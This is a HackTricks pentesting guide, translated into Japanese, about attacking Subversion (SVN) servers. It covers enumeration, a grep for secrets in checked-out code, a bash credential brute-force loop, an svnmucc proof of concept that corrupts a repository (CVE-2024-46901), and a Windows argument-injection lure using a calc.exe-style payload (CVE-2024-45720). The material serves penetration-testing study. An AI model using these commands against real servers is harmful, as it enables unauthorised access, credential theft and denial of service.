3690/tcp - Pentesting Subversion (SVN) Server

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Subversion (SVN) は、ソフトウェアのバージョン管理やリビジョン管理に使用される集中型の バージョン管理システム(Apache license)です。

既定のポート: 3690/tcp (svnserve)。mod_dav_svn を通じて HTTP/HTTPS で公開されたり、svn+ssh 経由で利用されることもあります。

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

列挙

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

認証とミスコンフィグの探索

  • svnserve.confanon-access = read(場合によっては書き込みも)を許可していることがある。一覧表示できるなら、checkout を試して秘密情報、スクリプト、CI トークンをダンプしよう。
  • リポジトリにはバージョン管理された設定ファイル内にビルドパイプラインデプロイ用キーデータベースの認証情報が保存されていることが多い。checkout 後にワーキングコピーを grep する: grep -R "password\|secret\|token" -n ..
  • svn+ssh が有効な場合、ユーザーのシェルは制限付きの svnserve コマンドを許可していることが多い;ラッパーを回避するために細工したサブコマンドで ssh user@host svnserve -t を試してみる。

Bruteforcing credentials (svnserve)

sasl 認証(有効な場合)や単純なパスワードファイルはトランスポート層でのみ保護されており、デフォルトではロックアウトがない。簡単な Bash ループで認証情報を試すことができる:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Recent Vulnerabilities (practical impact)

mod_dav_svn DoS via control characters (CVE-2024-46901)

  • コミット権限を持つユーザーは、制御文字(例: \x01, \x7f)を含むパスを書き込むことで、リポジトリを破損させ、以後のチェックアウトやログが失敗し、mod_dav_svn ワーカーがクラッシュする可能性がある。
  • Subversion ≤ 1.14.4HTTP(S) (mod_dav_svn) 経由で配信している場合に影響。1.14.5 で修正済み。
  • PoC のコミット(svnmucc 使用、正当なコミット資格情報が必要):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • コミット後、通常のクライアントは svnadmin dump/filter/load で管理者が該当リビジョンを手動で削除するまでクラッシュしたり更新を受け付けなくなることがある。

Windows argument injection in svn client (CVE-2024-45720)

  • On Windows、svn.exe の “best-fit” 文字エンコーディングにより、特別に細工された非ASCIIパス/URLを処理する際に command-line argument injection が発生し、任意のプログラム実行に繋がる可能性がある。
  • Subversion ≤ 1.14.3 の Windows のみが影響を受け、1.14.4 で修正済み。Attack surface: 開発者を phishing して攻撃者制御の URL/パス上で svn を実行させること。
  • Pentest angle: Windows 開発者に渡すネットワーク共有や ZIP を制御できる場合、repo URL や working-copy パスに best-fit バイト列を含め、それが " & calc.exe & "-スタイルの注入引数にデコードされるようにして、被害者にそのパスで svn status 等を実行させるよう誘導する。

悪用ワークフローの注意点

  1. アクセス方法を確認: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), または svn+ssh://
  2. まず匿名読み取りを試し、次に一般的な認証情報をスプレーする。HTTP Basic が使われている場合は、他所で見つかった認証情報を再利用する。
  3. フックスクリプトを列挙: hooks/pre-commit, post-commit スクリプトには平文の認証情報やホスト名が含まれていることがある。
  4. svn:externals を利用して他ホストから追加パスを取り込む。チェックアウト後に svn propget svn:externals -R . で一覧表示する。
  5. Version leaks: mod_dav_svn の HTTP レスポンスヘッダは通常 Subversion と Apache のバージョンを示すことが多い。1.14.5 と比較して脆弱な対象を特定する。
  6. リポジトリのファイルシステムアクセスを得た場合、svnadmin dump/svnlook author/svnlook dirs-changed で認証なしにオフライン解析が可能。

参考資料

  • https://subversion.apache.org/security/CVE-2024-46901-advisory.txt
  • https://subversion.apache.org/security/CVE-2024-45720-advisory.txt

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする